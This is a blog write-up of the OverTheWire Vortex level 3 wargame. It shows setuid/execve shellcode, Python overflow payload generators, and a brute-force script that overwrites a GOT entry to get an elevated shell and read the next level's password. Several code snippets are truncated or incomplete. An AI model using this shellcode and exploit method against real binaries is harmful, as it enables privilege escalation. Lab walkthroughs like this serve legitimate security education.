A walk outside the sandbox

Home Blog Cheat Sheets MacOS Tips Area 51 About

[CTF] OverTheWire Vortex Level 3




As mentioned in the description, level 3 is a little bit tricky. We see that we’ll have to place the shellcode in the buf variable using strcpy and the shellcode will require a setuid (LEVEL4_UID), since bash drops effective privileges.

Test a setuid + execve shellcode

I’ve taken a shellcode that does exactly this from here, and test it from a wrapper C function:

/* 32 bytes setuid(0) + execve("/bin/sh",["/bin/sh",NULL]); */
char shellcode[] =
  "\x6a\x17"              // push $0x17
  "\x58"                  // pop  %eax
  "\x31\xdb"              // xor  %ebx, %ebx
  "\xcd\x80"              // int  $0x80
  "\x31\xd2"              // xor  %edx, %edx  
  "\x6a\x0b"              // push $0xb
  "\x58"                  // pop  %eax
  "\x52"                  // push %edx
  "\x68\x2f\x2f\x73\x68"  // push $0x68732f2f
  "\x68\x2f\x62\x69\x6e"  // push $0x6e69622f
  "\x89\xe3"              // mov  %esp, %ebx
  "\x52"                  // push %edx
  "\x53"                  // push %ebx
  "\x89\xe1"              // mov  %esp, %ecx
  "\xcd\x80";             // int  $0x80
int main() {
 int (*func)();
 func = (int (*)()) shellcode;
 return 0;

Let’s compile and test:

# gcc test_shell3.c -o test_shell
# ./test_shell 

Bypass StackGuard

This article from PHRACK magazine describes a bypass method for a situation similar with ours. The idea is that by overflowing buf-, we can modify _lpp, and with this code

**lpp = (unsigned long) &buf;

we can place the beginning of the buffer in an address referred to by an address we can control - there’s a double indirection. Let’s try to modify the flow with this method, by changing the destructor function, called in the last line of code (exit(0);). To find the address of the destructors:

vortex3@melissa:/vortex$ objdump -s -j .dtors vortex3
vortex3:     file format elf32-i386
Contents of section .dtors:
 804953c ffffffff 00000000                    ........      

As described here, the layout of the destructors section is as follows:

0xffffffff <function address> <another function address> ... 0x00000000 

So we will change the address of the first function to be called (0x08049540). We need an address to put in the lpp pointer, and that address to point to 0x08049540:

$ gdb vortex3
(gdb) set disassembly-flavor intel
(gdb) disassemble __do_global_dtors_aux 
Dump of assembler code for function __do_global_dtors_aux:
   0x08048360 <+16>: mov    eax,ds:0x8049644
   0x08048365 <+21>: mov    ebx,0x8049540
   0x0804836a <+26>: sub    ebx,0x804953c
(gdb) x/x 0x08048366
0x8048366 <__do_global_dtors_aux>: 0x08049540

We find 0x08048366, that points to 08049540 (first destructor function). If we manage to place 0x08048366 in the lpp pointer (by overflowing buf), the double indirection will add the code in buf variable to be executed as a destructor:

**lpp = (unsigned long) &buf

Find lpp offset

We’ll build the vortex3 source code locally, with added prints to track lpp value after overflowing buf. To reproduce the environment in the vortex labs, we need to disable ASLR (Address Space Layout Randomization) and compile without stack protector:

# echo 0 > /proc/sys/kernel/randomize_va_space
# gcc -fno-stack-protector -U_FORTIFY_SOURCE vortex3.c -o vortex3

From a Python wrapper, we’ll pass the previous shellcode and watch if we set correctly lpp_ variable after strcpy:

import sys
shellcode = "\x6a\x17\x58\x31\xdb\xcd\x80\x31\xd2\x6a\x0b\x58\x52" + \
        "\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53" + \
NOP = "\x90"
if __name__=="__main__":
    if len(sys.argv) > 1 :
        addr = sys.argv[1]
        addr = "\x41\x42\x43\x44"
    # number of NOP needed to overflow exactly the lpp variable
    # may be different than this one for vortex labs binary 
    print shellcode + NOP * (128-len(shellcode))  + addr

And we see we can control lpp:

# ./vortex3 `python`
lpp before: 0x804a024
lpp after: 0x44434241

For the vortex3 binary on vortex labs, there will be a difference (of 4 bytes) on the length of NOP sled needed. That’s because the position of the lpp variable on the stack differs by 4 bytes. On Vortex labs:

(gdb) disas main
Dump of assembler code for function main:
   0x080483d4 <+0>: push   ebp
   0x080483d5 <+1>: mov    ebp,esp
   0x080483d7 <+3>: and    esp,0xfffffff0
   0x080483da <+6>: sub    esp,0xa0
   0x080483e0 <+12>: mov    DWORD PTR [esp+0x9c],0x804963c
(gdb) x/x 0x804963c
0x804963c <lp>: 0x08049638

And locally we have:

(gdb) disassemble main
Dump of assembler code for function main:
   0x08048484 <+0>: push   ebp
   0x08048485 <+1>: mov    ebp,esp
   0x08048487 <+3>: and    esp,0xfffffff0
   0x0804848a <+6>: sub    esp,0xa0
   0x08048490 <+12>: mov    DWORD PTR [esp+0x98],0x804a024
(gdb) x/x 0x804a024
0x804a024 <lp>: 0x0804a020

So, on the Vortex labs machine we’ll create a Python wrapper file in tmp folder, taking into account the NOP sled difference:

import sys
shellcode = "\x6a\x17\x58\x31\xdb\xcd\x80\x31\xd2\x6a\x0b\x58\x52" + \
        "\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53" + \
NOP = "\x90"
if __name__=="__main__":
    if len(sys.argv) > 1 :
        addr = sys.argv[1]
        addr = "\x41\x42\x43\x44"
    # number of NOP needed to overflow exactly the lpp variable
    # may be different than this one for vortex labs binary 
    print shellcode + NOP * (128-len(shellcode) + 4)  + addr

But, when trying to exploit, we get a segmentation fault:

$ ./vortex3 `python /tmp/`
Segmentation fault

That may be because of the subtle reason mentioned on the level description: ctors/dtors might no longer be writable. Older solutions present online worked because the level was compiled with another gcc version, and overwriting .dtors as suggested in the reading was possible back then. Anyway, the author of the level gives a suggestion for solving this: an intelligent bruteforce.

Python brute-forcer

We will only brute force a small part of the address space (16 bytes), because the first 2 bytes of lpp we already know that must be 0x0804. With the following Python wrapper we’ll generate payloads and pass them to vortex3 binary until we find a shell. The p.wait() function stops and wait until the program finish executing (in our case the new shell).

import subprocess
# shellcode generating  script
script = "/tmp/"
#found good addr = "\x8c\x92\x04\x08"
# Brute force the second part of the address space
for i in range (1, 256):
    for j in range (1, 256):
        addr = "%c%c\x04\x08" % (chr(i), chr (j))
        print "Trying addr: ", "".join('\\x%02x' % ord(c) for c in addr)
        # payload = shellcode + addr 
        # payload = `python /tmp/ "\x41\x42\x43\x44"`
        payload = subprocess.check_output(["python", script, addr])
        # pipe = os.popen("cmd", 'r', bufsize)
        p = subprocess.Popen(['/vortex/vortex3', payload])
        # block for successful shell
i and j variables go from 1, not from 0, because 0 is the null character and is not accepted in a shell command, and thus not accepted by the check_output() function which executes a command.

The result of running the script:

vortex3@melissa:~$ python /tmp/
Trying addr:  \x8c\x91\x04\x08
Trying addr:  \x8c\x92\x04\x08
$ id
uid=5003(vortex3) gid=5003(vortex3) euid=5004(vortex4) groups=5004(vortex4),5003(vortex3)
$ cat /etc/vortex_pass/vortex4

So we got a correct address that, when put into lpp, runs our shellcode - \x08\x04\x92\x8c. To understand what happened, we can check the address in gdb:

$ gdb /vortex/vortex3
(gdb) break main
Breakpoint 1 at 0x80483d7
(gdb) run
Starting program: /vortex/vortex3
Breakpoint 1, 0x080483d7 in main ()
(gdb) x/x 0x0804928c
0x804928c: 0x0804962c
(gdb) x/x 0x0804962c
0x804962c <_global_offset_table_>: 0x0804830a
(gdb) x/x 0x0804830a
0x804830a <exit@plt+6>: 0x00001868

So we’ve actually overwritten the exit function in the .plt section. This was a nice exercise, at least:) All the scripts mentioned are available here.